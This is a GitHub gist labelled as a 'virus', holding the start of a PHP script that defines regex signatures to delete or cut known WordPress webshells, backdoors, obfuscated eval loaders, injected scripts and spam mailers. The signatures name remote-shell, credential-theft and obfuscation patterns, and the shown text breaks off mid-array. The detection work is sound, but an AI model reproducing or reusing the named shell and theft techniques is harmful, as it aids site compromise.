Skip to content

Instantly share code, notes, and snippets.

@Saw-mon-and-Natalie
Last active October 23, 2024 09:12
Show Gist options
  • Save Saw-mon-and-Natalie/ce66e975ebc9ece8b42c9809cae13494 to your computer and use it in GitHub Desktop.
Save Saw-mon-and-Natalie/ce66e975ebc9ece8b42c9809cae13494 to your computer and use it in GitHub Desktop.
lowerbeforwarden virus
/*
* Created by cpl.php
*/
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(3600);
error_reporting(0);
$patterns = array(
/* start delete section */
array(
"filename" => '/[^.]*\.php$/mi',
"code" => '/<\?php eval\(\"\?\>\"\s*\.\s*base64_decode\(\".{10000,}\"\)\);\s*\?>.<\?php\s*\/\*[a-z,]{4,}/ms',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.php$/mi',
"code" => '/if\(empty\(\$mordaurl\)/ms',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.php$/mi',
"code" => '/http:\/\/tds\.narod\.ru\/i\.txt/ms',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.php$/mi',
"code" => '/function\s*generateRandomString.*\$payload_file/ms',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/MINI MINI MANI/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.(php|inc)$/mi',
"code" => '/\$wp_nonce\s*=\s*("|\')[0-9a-z]{32}("|\')\s*;/m',
"action" => 'delete'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/if\(!class_exists\(\'Ratel\'\)\){if\(function_exists\(\'is_user_logged_in\'\)\){if\(is_user_logged_in\(\)\)/m',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/https:\/\/github\.com\/b374k\/b374k/msi',
"action" => 'delete'
),
array(
"filename" => '/.*\.(php|inc)$/mi',
"code" => '/Jijle3 Web PHP Shell 2015/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.(php|inc)$/mi',
"code" => '/Leaf PHP Mailer by \[leafmailer\.pw\]/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.(php|inc)$/mi',
"code" => '/WebShellOrb 2\.6 - With PHP 7/iU',
"action" => 'delete'
),
array(
"filename" => '/metawp\.php$/mi',
"code" => '/allkeyspharm/iU',
"action" => 'delete'
),
array(
"filename" => '/blockspluginn\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/supersociall\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/index\.php$/mi',
"code" => '/www\.datecenter\.com/iU',
"action" => 'delete'
),
array(
"filename" => '/Jwlsjd_baaqifg\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/Jwlsjd_woiqusjfx\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-sesion-manager\.php$/mi',
"code" => '/function getbody\(\$body\)/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/if\(empty\(\$_GET\[\'ineedthispage\'\]\)\)/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/=Array\("pv"=>@phpversion\(\)/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/136\.12\.78\.46/iU',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/=\s*Array\s*\(\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\',\s*\'[0-9A-Za-z]\'=>\'[0-9A-Za-z]\'/ms',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/\$__=\'printf\';\$_=\'Loading the Wordpress \.\.\.\';/m',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/register_shutdown_function\(\'builder__after_shutdown_check\'\);/m',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/wpautop=pre_admin_bar/ims',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/define(\'WSO_VERSION\'/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-clean-plugin\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-craft-report\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-hello-plugin\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-load-report\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-report\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-sili-report-site\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/wp-zip-plugin\.php$/mi',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php)$/mi',
"code" => '/\$_REQUEST\[\"[a-z]{3}\"\]\(\$_REQUEST/iU',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php)$/mi',
"code" => '/@system\("killall -9 "\.basename\("\/usr\/bin\/host"\)\);/iU',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php)$/mi',
"code" => '/intval\(__LINE__\) \* 337/iU',
"action" => 'delete'
),
array(
"filename" => '/metawp\.php$/mi',
"code" => '/openredirect\.net/iU',
"action" => 'delete'
),
array(
"filename" => '/wptemp\.js$/mi',
"code" => '/error_reporting/iU',
"action" => 'delete'
),
array(
"filename" => '/^validate\.php$/',
"code" => '/4769e496038c3d0ee38f6267d389469b/iU',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php)$/mi',
"code" => '/\<\?php class Foo.*[\S]{1500}.*\(\); \?>/ims',
"action" => 'delete'
),
array(
"filename" => '/[^.]{8}\.php$/mi',
"code" => '~;(?:@\$(?:\w{1,40}\(\$\w{1,40}\(\$\w{1,40}\(\$\w{1,40}\(\$\w{1,40}\)\)\)\);\s*\?>\s*\Z(?<X69bab67e>)|__\(\$__\d+\(@\$_\[\d+\]\.@\$_\[\d+\]\.(?<X3cab32a5>)|fun\(\s*str_rot13\((?<X21ff1a04>))|\$(?:\w{1,40}(?:=\'[^\']+\'\^\'[^\']+\';\w{1,40};(?<Xee1268f4>)|\^\$\w{1,40};\$\w{1,40}=\$\w{1,40}\^\'(?<Xb5c8b3b7>))|\{\$(?:\w{1,40}\}(?:\.=pack\("[^"]{1,20}?",0x00000000,0x00000000,0x00000000,strlen\(\$\{\$\{"(?<X17544b95>)|\s*=\s*get_option\(EWPT_PLUGIN_SLUG\);echo"[^"]+"\s*\.\s*esc_attr\(\$\{\$\{"[^"]+"\}\s*\["(?<X053254dc>))|\{"[^"]{1,100}"\}\[[^\]]{1,100}\]\}=system_custom\(\$\{\$\w{1,40}\}\);echo\$\{\$\{"[^"]{1,100}"\}\["[^"]{1,100}"\]\};print(?<X59363b64>))|_(?:\s*=\s*create_function\(\s*""\s*,\s*@gzuncompress\(\$_+\)\);\$_+\(\);\s*\?>(?<X3b196bf9>)|\w{1,10}=array\([^)]+\);\$payload="[^"]{4000,14000}";(?<X6b84e4fa>)|\w{1,40}=.\$_\w{1,40}\("[^"]+",\'\w{1,40}\'\);@\$_\w{1,40}\("[^"]+",.\$_\w{1,40}\((?<Xc499377f>))|b374k\s*=\s*\$\w{1,40}\(\s*[\'"]\$\w{1,40}[\'"]\s*,\s*[\'"\.,\seval]{7,40}\((?<X00783715>)|default_use_ajax=true;\$default_charset=_\w{1,40}\(\d\);\$GLOBALS(?<X571e31f8>)|this->tm_class_name_div=\$\{\$\{"\\x\w{2}(?<Xc136032c>))|\s*(?:(?:echo|print)\s*\(?[\'"]?<title>\s*Droid-X-Fahri\s*<(?<Xabb9412e>)|(?:goto\s*\w{1,40};\s*\w{1,40}:\s*@?ini_set\([^\)]{1,99}\);\s*){2}[^/]{9,99}<title>\s*\w{1,40}\s+backdoor\s*</title>(?<Xf5ee08ae>)|(?:passthru|exec|shell_exec|popen|system|eval)\(\s*[\'"]\./findsock[^\$]{1,40}\$_SERVER\[[\'"]REMOTE_ADDR[\'"]\][^\$]{1,40}\$_SERVER\[[\'"]REMOTE_PORT[\'"]\]\s*\)\s*\?>(?<Xf87c3b51>)|[#]{5,200}\s*\$SUBJECT\s*=\s*[\'"]\s*\((?:AMAZON|ADOBE|AZURE)\)\s*\((?:BILLING|LOGIN)\)\s*\(\s*\$IP\s*\)\s*\(\s*\$COUNTRYNAME\s*\)\s*[\'"]\s*;(?<X85bd1dec>)|\$(?:[O0_]+="[^"]*"\s*;\s*\$\w{1,40}="[^"]*"\s*;\s*\$\w{1,40}\s*=\$\w{1,40}\s*\(\s*"[^"]*"\s*,\s*"[^"]*"\s*,\s*"[^"]*"\s*\)\s*;\s*\$\w{1,40}\s*=\$\w{1,40}\s*\(\s*"[^"]*"\s*,\s*"[^"]*"\s*,\s*"[^"]*"\s*\)\s*;\s*\$\w{1,40}\s*=\$\w{1,40}\s*\(\s*"[^"]*"\s*,\s*\$\w{1,40}\s*\(\s*\$\w{1,40}\s*\(\s*"[^"]*"\s*,\s*"[^"]*"\s*,\s*\$\w{1,40}\s*\.\s*\$\w{1,40}\s*\.\s*\$\w{1,40}\s*\.\s*\$\w{1,40}\s*\)\s*\)\s*\)\s*;\s*\$\w{1,40}\s*\(\s*\)\s*;\s*echo\s*\$\w{1,40}\s*\.\s*"[^"]*"\s*;\s*(?<Xed409fbf>)|\w{1,20}\s*=\s*(?:http_get|file_get_contents)\s*\([\'"]https?://laggerghost\.github.io/[^\)]+\);(?<X396f5a9f>)|\w{1,30}\s*\(\s*\$\w{1,40}\s*\(\s*\$\w{1,40}\s*\.\s*\$\w{1,40}\s*,\s*\$\w{1,40}\s*\)\s*,\s*\$\w{1,40}\s*\)\s*;\s*\}\s*Prior2Line\s*\([^)]+\)\s*;\s*\Z(?<Xd91426bc>)|\w{1,40}=@\$GLOBALS\[\'_\d+_\'\]\[\d+\]\(\$\w{1,40}\s*\.\s*\$\w{1,40}\);\s*echo \$\w{1,40};\s*\?>\Z(?<Xef6444c9>)|\{[\'"](?:G|\\x47)(?:L|\\x4c)(?:O|\\x4f)(?:B|\\x42)(?:A|\\x41)(?:L|\\x4c)(?:S|\\x53)[\'"]\}\[[\'"](?:z|r|_|\\x7a|\\x5f|\\x72){1,40}[\'"]\]\(\$[zr_]{1,40},CURLOPT_USERAGENT,\\[\'"]WHR\\[\'"]\);(?<X9f4e4f65>))|\b\w{1,20}\(\$\w{1,10}\s*=\s*\$\w{1,10}\.\$\w{1,10}\[\d+\]\);\s*hebrevc\(\$\w{1,10}\s*=\s*\$\w{1,10}\.\$\w{1,10}\[\d+\]\);\s*\w{1,10}\(\$\w{1,10}\s*=\s*\$\w{1,10}\.\$\w{1,10}\[\d+\]\);(?<Xc0cc0607>)|\}\s*\}\s*(?:\$\w{1,20}\s*=\s*[\'"][3E]x[0o]rc[i1][s5][7t][\'"];(?<Xaefcf52e>)|\}\s*echo\s*[\'"][^\'"]{0,40}[\'"]?\s*\.?\s*php_uname\(\)\s*\.?\s*[\'"]?\\?r?\\?n?[\'"];\s*echo\s*getcwd\(\)\s*\.?\s*[\'"]?\\?r?\\?n?[\'"];\s*\?>\s*\Z(?<X46bc00b1>))|e(?:val\(\$GLOBALS\[\'\w+\'\]\[\d+\]\(\$GLOBALS\[\'\w+\'\]\[\d+\]\(\$\w+\)\)\);\?>(?<Xff5cf123>)|xit\s*\(\s*\)\s*;\s*\}\s*\}\s*\$\w{1,40}\s*=\s*\w{1,40}\s*\(\s*\$\w{1,40}\s*,\s*\$\w{1,40}\s*\)\s*;\s*\w{1,40}\s*\(\s*\$\w{1,40}\s*,\s*\$\w{1,40}\s*\[\s*\d+\s*\]\s*\(\s*\$\w{1,40}\s*\[\s*\d+\s*\]\s*,\s*\$\w{1,40}\s*\^\s*\w{1,40}\s*\(\s*\$\w{1,40}\s*,\s*\$\w{1,40}\s*,\s*\$\w{1,40}\s*\[\s*\d+\s*\]\s*\(\s*\$\w{1,40}\s*\)\s*\)\s*\)\s*\)\s*;\s*\}\s*\Z(?<Xb6f48e98>))|function\s*\w{1,40}\(\$\w{1,40}\)\s*\{\s*return\s*\(substr\(\$\w{1,40}\s*,\s*\d+\s*,\s*\d+\s*\)\s*==\s*\w{1,40}\(array\([^)]{1,100}\)\s*\)\s*\)\s*;\s*\}(?<Xdaa22f25>)|print\s+"Flooded:\s*\$ip\s*on\s*port\s*\$rand(?<Xcd59d33f>)|symlink\(\'/\'\.\$home\.\'/\'\.\$user\.\'/public_html/client\-area/configuration\.php\',\$user\.\'WHMCS\.txt\'\);(?<Xa6ec7963>))|\s+eval\s*\(\s*gzinflate\s*\(\s*base64_decode\s*\(\s*[\'"]Dc/JcoIwAADQz1GHQ2WH6SkIqOwBZLt0BBKkBIKyjX59[^\'"]{360}[\'"]\s*\)\s*\)\s*\)\s*;\s*\?>\s*\Z(?<X81061ad3>)|\}\s*echo\s+\'[^\']{1,100}\';\s*preg_replace\("\\x2F\\x2E\\x2A\\x2F\\x65","\\x65\\x76\\x61\\x6C\\x28(?<Xb5c8ee69>)|class\s*Smarty3\s*{\s*private\s*static\s*\$file_with_ip(?<Xe7d71793>)|e(?:urt\s*=\s*xaja_esu_tluafed\$(?<Xeeb8e898>)|val\(base64_decode\(gzuncompress\(base64_decode\(\$\w+\)\)\)\);\?>(?<X2f3113e9>)|xit;endif;endif;@iNI_sET\("error_log",null\);@iNi_SEt\((?<Xc1611835>))|file_put_contents\(\$_7\[\'.\'\]\[\'\w+\'\],\$_\d+,FILE_APPEND\|LOCK_EX\);}if(?<X7a70801a>)|if\(\$_POST\[\'\w{1,40}\'\]=="Upload"\){if\(@copy\(\$_FILES\[\'file\'\]\[\'tmp_name\'\],\$_FILES\[\'file\'\]\[\'name\'\]\)\)\{echo(?<X050624c3>)|lets_jump\(\$\{\$\w{1,40}},\$\{\$\w{1,40}\}\);\}\$\{\$\{(?<X1fd11051>)|return\${\$\w{1,20}};}public function getRules\(\){if\(\$this->detectionType==self::DETECTION_TYPE_EXTENDED\){return self::getMobileDetectionRulesExtended\(\);}(?<X0b943fbd>)|set_time_limit\(0\);array_walk\(\$_COOKIE,"enumerator"\);array_walk\(\$_POST,"enumerator"\);function enumerator\(\$value,\$key\)\{\$\{(?<Xcfc6bb52>))~smiS',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/Www\.PHPJiaMi\.Com/ims',
"action" => 'delete'
),
array(
"filename" => '/^wp-vcd\.php$/mi',
"code" => '/.*/ims',
"action" => 'delete'
),
array(
"filename" => '/^login_wall\.php$/mi',
"code" => '/eval\(\$_POST\[/ims',
"action" => 'delete'
),
array(
"filename" => '/^wp-tmp\.php$/mi',
"code" => '/wp_auth_key/ims',
"action" => 'delete'
),
array(
"filename" => '/^_config.cache\.php$/',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/^wp-upload-class\.php$/',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/^wp-interst\.php$/',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/^e-preview\.php$/',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/^wp-counts\.php$/',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/^wp-remote-upload\.php$/',
"code" => '/.*/iU',
"action" => 'delete'
),
array(
"filename" => '/^js\.php$/',
"code" => '/\$ctime\(\$atime\)/iU',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/Sur The Mailer Finish His Job/ims',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/if\(!\(isset\(\$passwd\)\s*&&\s*\$O0O000\(\$passwd\)\s*==\s*\$O00O00\)\){/m',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/set_error_handler\("__i_client_error_handler"\);\$GLOBALS\["__i_client_error_stack"\] = array\(\);function __i_client_error_handler\(\$errno, \$errstr, \$errfile, \$errline\){if \(!\(error_reporting\(\) & \$errno\)\){return;}switch \(\$errno\) {case E_ERROR:case E_USER_ERROR:\$GLOBALS\["__i_client_error_stack"\]\[\] = "Error: "\.\$errstr\." in "\.\$errfile\."\[\$errline] \(PHP "\.PHP_VERSION\." "\.PHP_OS\."\)";/msi',
"action" => 'delete'
),
array(
"filename" => '/social\.png$/mi',
"code" => '/WpPlLoadContent/msi',
"action" => 'delete'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/\$default_action\s*=\s*(\'|")FilesMan(\'|")/msi',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/(shelleval)|(Shell Kageyama)|(supersociall)|(wp\-vcd\.php)|(0x5a455553\.github\.io\/MARIJUANA\/icon\.png)|(BlackhatCode)|(Jayalah Indonesiaku)|(\"jweyc\",\"aeskoly\",\"owhggiku\",\"callbrhy\")|(blockspluginn)|(Plugin Name: CMSmap - WordPress Shell)|(BlackhatCode)|(IndoXploit)|(crkekatkek_kfkukncktkikon)|(\$wp_nonce = isset\(\$_POST\[\'f_pp\'\]\))/ims',
"action" => 'delete'
),
array(
"filename" => '/wp-xmlrpc\.php$/mi',
"code" => '/\$GLOBALS\[\'pass\'\]/msi',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/\$__________=\$__________________\(\'\$_\',\$______________\)/m',
"action" => 'delete'
),
array(
"filename" => '/.*\.php$/mi',
"code" => '/goto\s[0-9a-zA-Z]{5};\s[0-9a-zA-Z]{5}:\sif\s\([!]*file_exists\(realpath\(\'\'\)\s\.\s\"\\\\/m',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/by zeura\.com/ims',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/PHP Encode Sh\*ll Auto v4 Fox/ims',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/eval\(pack\(\'H\*\',\'[0-9a-fA-F]{5000,}/m',
"action" => 'delete'
),
array(
"filename" => '/template-config\.php$/mi',
"code" => '/\$admworkurl="";/m',
"action" => 'delete'
),
array(
"filename" => '/^class\.wp\.php$/mi',
"code" => '/.*/m',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/foreach\s*\(\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*\[[0-9]+\]\(\$_COOKIE,\s*\$_POST\)\s*as\s*\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*\s*=>\s*\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*/m',
"action" => 'delete'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\(edoced_46esab\(lave\'\)\)/m',
"action" => 'delete'
),
/* end delete section */
/* start cut section */
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<script language=javascript>[^<]*eval\(String\.fromCharCode\(118, 97, 114, 32, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 118, 97, 114, 32, 115[^<]*\)\);<\/script>/m',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/<\?php\s\$md5\s*=\s*(\'|")[0-9a-f]{32}(\'|").*\$wp_salt.*create_function.*\?>/mUs',
"action" => 'cut'
),
array(
"filename" => '/.*\.(php|inc|txt)$/mi',
"code" => '/<\?php\s*if\(\(!@file_exists.*0444\);}\s*\?>/msU',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/\/\*aeR4Choc_start\*.*\/\*aeR4Choc_end\*\//m',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<script>var z;if\(z!=\'\' && z!=\'lC\'\)\{z=null.*vU != \'\'\)\{vU=null\};<\/script>/msi',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/require_once\(plugin_dir_path\(__FILE__\) \. "(images|img)\/social\.png"\);/m',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt|js)$/mi',
"code" => '/Element\.prototype\.appendAfter = function\(element\) {element\.parentNode\.insertBefore\(this, element\.nextSibling\);}, false;\(function\(\) { var elem = document\.createElement\(String\.fromCharCode\(115,99,114,105,112,116\)\); elem\.type = String\.fromCharCode\(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116[^<]*String\.fromCharCode\(104,101,97,100\)\)\[0\]\.appendChild\(elem\);}\)\(\);/ms',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<\?php if \(file_exists\(dirname\(__FILE__\) \. \'\/wp-vcd\.php\'\)\) include_once\(dirname\(__FILE__\) \. \'\/wp-vcd\.php\'\); \?>/ms',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<script type=(\'|")text\/javascript(\'|")>[^<]*eval\(String\.fromCharCode\(118, 97, 114, 32, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 118, 97, 114, 32, 115[^<]*\)\);<\/script>/m',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/@die \(\$ctime\(\$atime\)\);/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/if\(isset\(\$_POST\[chr\(97\)\.chr\(115\)\.chr\(97\).*owhggiku.*base64_decode\("bG9jYWwtZXJyb3Itbm90LWZvdW5k"\);}die\(\);}/m',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<script type=text\/javascript> Element\.prototype\.appendAfter = function\(element\) {element\.parentNode\.insertBefore\(this, element\.nextSibling\);}, false;\(function\(\) { var elem = document\.createElement\(String.fromCharCode\(115,99,114,105,112,116\)\);[^<]*\(\);<\/script>/ms',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<\?php\s*if\(!defined\(\'_NET\'\)\).*\/\*\,\.\*\/\s*\?>/msU',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/<\?php \/\*[^\*]*\*\/eval\/\*.*\*\/\s*\?>/m',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc|txt)$/mi',
"code" => '/include\s*\(\s*ABSPATH\s*\.\s*WPINC\s*\.\s*\'\/metawp\.php\'\s*\)\s*;/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php.+\$GLOBALS.+eval\/\*.*\]\);[}]{1,2}exit\(\);}[^>]+\?>/msi',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php.+\$GLOBALS.+eval\/\*.*\]\)\);exit\(\);}[^>]+\?>/msi',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\<\?php.+\$_REQUEST\[\'password\'\].+\$end_wp_theme_tmp.+?\?\>/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\<\?php.+\$O00OO0[\S]{1000}.+?\?\>/ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\/\*[^*]{5}\*\/[^@]*@include "[^*]*\/\*[^*]{5}\*\//ims',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php[^>]*array[^>]*array[^>]*array[^>]*[\S]{3000}[^>]*\?>/iU',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php[^>]*str_replace[^>]*str_replace[^>]*str_replace[^>]*[\S]{3000}[^>]*\?>/iU',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php[\s]{500}[^>]*str_replace[^>]*str_replace[^>]*str_replace[^>]*[\s]{500}[^>]*\?>/iU',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\<script type=\'text\/javascript\' src=\'https:\/\/snippet\.adsformarket\.com\/same\.js\'\>/iU',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/eval\(gzinflate\(base64_decode\(\'[\S]{500}.*\'\)\)\);/im',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*=\'.*\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*=\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*\(\'\',.*\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*\(\);$/im',
"action" => 'cut'
),
array(
"filename" => '/[^.]*\.(php|inc)$/mi',
"code" => '/<\?php if\(!isset\(\$GLOBALS\["\\\\x61\\\\156\\\\x75\\\\156\\\\x61"\]\)\) { \$ua=strtolower\(\$_SERVER\["\\\\x48[^?]*\?><\?php.*?\?>/ims',
